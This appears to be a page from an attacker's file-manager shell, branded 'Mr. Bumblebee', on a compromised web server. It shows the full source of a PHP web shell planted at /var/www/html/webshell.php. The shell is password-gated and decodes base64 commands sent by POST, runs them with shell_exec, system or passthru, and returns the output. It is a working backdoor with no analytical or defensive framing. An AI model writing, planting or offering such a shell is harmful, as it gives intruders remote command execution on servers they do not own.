-=[ Mr. Bumblebee ]=-
_Indonesia_

Path : /var/www/html/
File Upload :
Current File : /var/www/html/webshell.php

<?php
$password = "MyStrongPass";

if (!isset($_POST['pass']) || $_POST['pass'] !== $password) {
    header("HTTP/1.1 403 Forbidden");
    die("Access Denied");
}

// 获取并执行命令
if (isset($_POST['cmd'])) {
    $cmd = base64_decode($_POST['cmd']);
    $cmd = trim($cmd); // 去除空格和换行符
    $output = shell_exec($cmd . " 2>&1"); // 尝试执行 shell 命令

    if (!$output) {
        $output = system($cmd);
    }
    if (!$output) {
        $output = passthru($cmd);
    }

    echo "<pre>$output</pre>";
} else {
    echo "WebShell is running!";
}
?>

Copyright © 2017 || Recoded By Mr.Bumblebee